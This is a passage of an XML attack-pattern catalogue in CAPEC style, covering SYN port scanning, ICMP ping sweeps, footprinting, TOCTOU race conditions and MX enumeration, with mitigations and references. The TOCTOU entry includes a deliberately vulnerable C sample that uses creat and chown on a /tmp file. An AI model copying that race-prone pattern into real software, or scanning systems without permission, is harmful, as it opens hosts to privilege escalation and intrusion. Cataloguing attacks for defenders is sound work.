						<Text>3. Open Port: Detects that a port is open via a successful SYN/ACK to
							the SYN.</Text>
						<Text>4. Closed Port: Detects that a port is closed via a successful RST to
							the SYN</Text>
						<Text>5. Filtered Port: No response, or ICMP messages, indicates the
							presence of a filter.</Text>
						<Text>6. Unfiltered Port: Cannot distinguish between a state-fully filtered
							port and an unfiltered port.</Text>
					</Block>
					<Text> SYN scanning is fast and provides the attacker with a wealth of
						information. The primary drawback is that SYN scanning requires the ability
						to access "raw sockets" in order to create the packets. As a result, it is
						not possible to perform a SYN scan from some systems (Windows XP SP 2). On
						other systems (BSD, Linux) administrative privileges are required in order
						to write to the raw socket.</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Service</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="Transmission Control Protocol" RFC="793">
								<Protocol_Structure>
									<Protocol_Header ID="1">
										<Protocol_RFC>RFC 793</Protocol_RFC>
										<Protocol_Field_Name>Flag</Protocol_Field_Name>
										<Protocol_Field_Description>A TCP SYN "synchronize" flag is
											the first step in the procedures to establish new TCP
											connections. This control flag is used to initialize a
											three-way handshake. The logic of the Transmission
											Control Block (TCB) dictates that any host that receives
											a SYN packet to an open port must respond with a
											"SYN/ACK" packet in acknowledgement. </Protocol_Field_Description>
										<Protocol_Operation_Code>8</Protocol_Operation_Code>
										<Protocol_Data>Any data in the payload portion of a TCP SYN
											packet is ignored for the purpose of establishing a
											connection. </Protocol_Data>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>This scan type is not possible with some operating systems (Windows XP SP
						2). On linux and unix systems it requires root privileges to use raw
						sockets.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The ability to send TCP SYN segments to a host during network reconnaissance.
					This can be achieved via the use of a network mapper or scanner, or via raw
					socket programming in a scripting language. Packet injection tools are also
					useful for this purpose. Depending upon the method used it may be necessary to
					sniff the network in order to see the response.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>300<!--Port Scanning--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets and
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 56</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 5.32 TCP SYN (Stealth) Scan, pg.
						100</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>The Art of Port Scanning</Reference_Title>
					<Reference_Edition>Volume: 7, Issue. 51</Reference_Edition>
					<Reference_Publisher>Phrack Magazine</Reference_Publisher>
					<Reference_PubDate>1997</Reference_PubDate>
					<Reference_Link>http://nmap.org/p51-11.html</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="288" Name="ICMP Echo Request Ping" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Deprecated">
			<Description>
				<Summary>
					<Text>An attacker sends out an ICMP Type 8 Echo Request, commonly known as a
						'Ping', in order to determine if a target system is responsive. If the
						request is not blocked by a firewall or ACL, the target host will respond
						with an ICMP Type 0 Echo Reply datagram. This type of exchange is usually
						referred to as a 'Ping' due to the Ping utility present in almost all
						operating systems. Ping, as commonly implemented, allows a user to test for
						alive hosts, measure round-trip time, and measure the percentage of packet
						loss. Performing this operation for a range of hosts on the network is known
						as a 'Ping Sweep'. While the Ping utility is useful for small-scale host
						discovery, it was not designed for rapid or efficient host discovery over
						large network blocks. Other scanning utilities have been created that make
						ICMP ping sweeps easier to perform. Most networks filter ingress ICMP Type 8
						messages for security reasons. Various other methods of performing ping
						sweeps have developed as a result. It is important to recognise the key
						security goal of the attacker is to discover if an IP address is alive, or
						has a responsive host. To this end, virtually any type of ICMP message, as
						defined by RFC 792 is useful. An attacker can cycle through various types of
						ICMP messages to determine if holes exist in the firewall configuration.
						When ICMP ping sweeps fail to discover hosts, other protocols can be used
						for the same purpose, such as TCP SYN or ACK segments, UDP datagrams sent to
						closed ports, etc. The attackers goal is to discover as many potential
						targets as possible can utilise a wide range of techniques to achieve this
						end. ICMP pings have the following characteristics:</Text>
					<Block Block_Nature="List">
						<Text>1. Host Discovery: Can be used to discover if a host is alive via ICMP
							Echo Reply Message</Text>
						<Text>2. Effective Against: LANs or Internal IP address ranges where
							firewall or ACL rules are less restrictive</Text>
						<Text>3. Weak Against: Firewalls properly configured to block ICMP Echo
							Request and Echo Replies.</Text>
						<Text>4. Port State: Unable to determine the status of ports on a
							host.</Text>
					</Block>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="None">
							<Protocol ID="1" Name="ICMP">
								<Protocol_Structure>
									<Protocol_Header ID="1">
										<Protocol_RFC>RFC 792</Protocol_RFC>
										<Protocol_Field_Name>Type</Protocol_Field_Name>
										<Protocol_Field_Description>The ICMP Type Field determines
											the function of the ICMP query. A Type 8 message directs
											the target to reply to the sender of the echo request
											message with an echo reply message. In forming an echo
											reply the source and destination addresses are switched,
											the Type field is set to '0', any data contained in the
											data portion of the echo request is sent "echoed" back
											to the host, and the checksum is recalculated. </Protocol_Field_Description>
										<Protocol_Operation_Code>8</Protocol_Operation_Code>
										<Protocol_Data>ICMP echo requests may contain arbitrary data
											as a payload. When the ICMP Type is 8 (echo request),
											the data received in the echo message must be returned
											in the echo reply message. </Protocol_Data>
									</Protocol_Header>
								</Protocol_Structure>
								<Related_Protocols>
									<Related_Protocol Name="Internet Protocol" RFC="791">
										<Relationship_Type>Uses Protocol</Relationship_Type>
									</Related_Protocol>
								</Related_Protocols>
							</Protocol>
						</Target_Functional_Service>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send an ICMP type 8 query (Echo Request) to a remote target
						and receive an ICMP type 0 message (ICMP Echo Reply) in response. Any
						firewalls or access control lists between the sender and receiver must allow
						ICMP Type 8 and ICMP Type 0 messages in order for a ping operation to
						succeed.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>Ability to send custom ICMP queries. This can be accomplished via the use of
					various scanners or utilities. </Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>292<!--Host Discovery--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Keywords>
				<Keyword>Ping</Keyword>
			</Keywords>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pp. 44-51</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>J. Postel</Reference_Author>
					<Reference_Title>RFC792 - Internet Control Messaging Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc792.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Internet Engineering Task Force, R Braiden,
						Editor</Reference_Author>
					<Reference_Title>RFC1122 - Requirements for Internet Hosts - Communication
						Layers</Reference_Title>
					<Reference_PubDate>1989</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc1122.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Mark Wolfgang</Reference_Author>
					<Reference_Title>Host Discovery with Nmap</Reference_Title>
					<Reference_PubDate>2002</Reference_PubDate>
					<Reference_Link>http://nmap.org/docs/discovery.pdf</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 3.5.2 Ping Scan (-SP), pg. 58</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="289" Name="Infrastructure-based footprinting" Pattern_Abstraction="Meta"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>"Infrastructure-based footprinting involves interacting with available
						network or application resources for the purpose of gathering information
						about the architecture, topology, configuration, or potential
						vulnerabilities and exposures of a target networking infrastructure."</Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Network</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
						<Target_Attack_Surface_Type>Service</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite/>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required/>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>286<!--Network Reconnaissance--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pp. 38-39</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="29"
			Name="Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack targets a race condition occurring between the time of check
						(state) for a resource and the time of use of a resource. The typical
						example is the file access. The attacker can leverage a file access race
						condition by "running the race", meaning that he would modify the resource
						between the first time the target program accesses the file and the time the
						target program uses the file. During that period of time, the attacker could
						do something such as replace the file and cause an escalation of
						privilege.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker explores to gauge what level of
												access he has.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker confirms access to a resource on the
												target host. The attacker confirms ability to modify
												the targeted resource.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker decides to leverage the race
												condition by "running the race", meaning that he
												would modify the resource between the first time the
												target program accesses the file and the time the
												target program uses the file. During that period of
												time, the attacker can replace the resource and
												cause an escalation of privilege.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>A resource is access/modified concurrently by multiple processes.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The attacker is able to modify resource.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>A race condition exists while accessing a resource.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Time and State</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The Net Direct client for Linux before 6.0.5 in Nortel Application
							Switch 2424, VPN 3050 and 3070, and SSL VPN Module 1000 extracts and
							executes files with insecure permissions, which allows local users to
							exploit a race condition to replace a world-writable file in
							/tmp/NetClient and cause another user to execute arbitrary code when
							attempting to execute this client, as demonstrated by replacing
							/tmp/NetClient/client.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2007-1057</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The following code illustrates a file that is accessed multiple times
							by name in a publicly accessible directory. A race condition exists
							between the accesses where an attacker can replace the file referenced
							by the name.</Text>
						<Block>
							<Code>include &lt;sys/types.h&gt;</Code>
							<Code>include &lt;fcntl.h&gt;</Code>
							<Code>include &lt;unistd.h&gt;</Code>
							<Code/>
							<Code>define FILE "/tmp/myfile"</Code>
							<Code>define UID 100</Code>
							<Code/>
							<Code>void test(char *str)</Code>
							<Code>{</Code>
							<Block>
								<Code>int fd;</Code>
								<Code>fd = creat(FILE, 0644);</Code>
								<Code>if(fd == -1)</Code>
								<Block>
									<Code>return;</Code>
								</Block>
								<Code>chown(FILE, UID, -1); /* BAD */</Code>
								<Code>close(fd);</Code>
							</Block>
							<Code>}</Code>
							<Code/>
							<Code>int main(int argc, char **argv)</Code>
							<Code>{</Code>
							<Block>
								<Code>char *userstr;</Code>
								<Code>if(argc &gt; 1) {</Code>
								<Block>
									<Code>userstr = argv[1];</Code>
									<Code>test(userstr);</Code>
								</Block>
								<Code>}</Code>
								<Code>return 0;</Code>
							</Block>
							<Code>}</Code>
							<Code/>
							<Code>//Source : SAMATE.NIST.GOV :
								http://samate.nist.gov/SRD/view_testcase.php?login=Guest&amp;;tID=1598</Code>
						</Block>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>This attack can get sophisticated since the attack has to occur within
							a short interval of time.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Vulnerability testing tool can be used to probe for race
							condition.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>The attacker may also look for temporary file creation. The attacker
							may try to replace them and take advantage of a race condition.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Use safe libraries to access resources such as files.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Be aware that improper use of access function calls such as chown(),
						tempfile(), chmod(), etc. can cause a race condition.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use synchronization to control the flow of execution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use static analysis tools to find race conditions.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Pay attention to concurrency problems related to the access of
						resources.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>367<!--Time-of-check Time-of-use (TOCTOU) Race Condition--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>368<!--Context Switching Race Condition--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>366<!--Race Condition within a Thread--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>370<!--Missing Check for Certificate Revocation after Initial Check--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>362<!--Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>662<!--Improper Synchronization--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>691<!--Insufficient Control Flow Management--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>663<!--Use of a Non-reentrant Function in a Concurrent Context--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>665<!--Improper Initialization--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>26<!--Leveraging Race Conditions--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>172<!--Time and State Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Least Privilege</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>J. Viega and G. McGraw. Building Secure Software. Addison-Wesley,
							2002.</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Input Validation</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Eric Dalci</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-25</Submission_Date>
						<Submission_Comment/>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-07</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name, Attack
							Flow, Attack Prerequisites and Related Attack
							Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="290" Name="Enumerate Mail Exchange (MX) Records"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker enumerates the MX records for a given via a DNS query. This
						type of information gathering returns the names of mail servers on the
						network. Mail servers are often not exposed to the Internet but are located
						within the DMZ of a network protected by a Firewall. A side effect of this
						configuration is that enumerating the MX records for an organization my
						reveal the IP address of the firewall or possibly other internal systems.
						Attackers often resort to MX record enumeration when a DNS Zone Transfer is
						not possible. </Text>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Application Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Service</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
					<Target_Functional_Services>
						<Target_Functional_Service ID="1" Name="Domain Name Service (DNS)"/>
					</Target_Functional_Services>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Access to a DNS server that will return the MX records for a
						network.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>A command-line utility or other application capable of sending requests to the
					DNS server is necessary.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
